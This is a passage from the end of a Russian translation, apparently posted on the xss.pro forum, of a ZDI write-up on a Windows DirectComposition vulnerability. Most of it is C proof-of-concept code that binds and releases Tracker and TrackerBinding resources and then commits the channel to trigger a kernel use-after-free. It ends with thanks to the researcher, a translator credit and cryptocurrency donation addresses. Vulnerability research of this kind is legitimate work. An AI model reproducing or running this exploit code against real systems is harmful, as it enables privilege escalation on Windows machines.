CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Bind Tracker to the Second TrackerBinding\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
szBuff[2] = 0x42424242;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Activate the Entry by setting tracker_id to Non-ZERO\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
szBuff[2] = 0x41414141;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Release Tracker Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to Release Direct Composition Resource\n");
exit(-1);
}
printf("[+] Release the Second TrackerBinding Object\n");
*(DWORD*)(pMappedAddress) = nCmdReleaseResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x8, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to Release Direct Composition Resource\n");
exit(-1);
}
printf("[*] UAF situation can be triggerd when the channel is committed\n");
DWORD out1;
BOOL out2;
BOOL in1 = FALSE;
NtDCompositionCommitChannel(hChannel, &out1, &out2, in1, NULL);
}
Еще раз спасибо JeongOh Kyea за подробный обзор и PoC. За последние пару лет он внес несколько ошибок Windows в программу ZDI, и мы, безусловно, надеемся получить от него больше сообщений в будущем. А пока следите за командой, чтобы узнать о последних методах использования уязвимостей и исправлениях безопасности.
От ТС
Спасибо admin за предложенный материал.
Оригинал доступен тут
Перевод:
Azrv3l cпециально для xss.pro
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab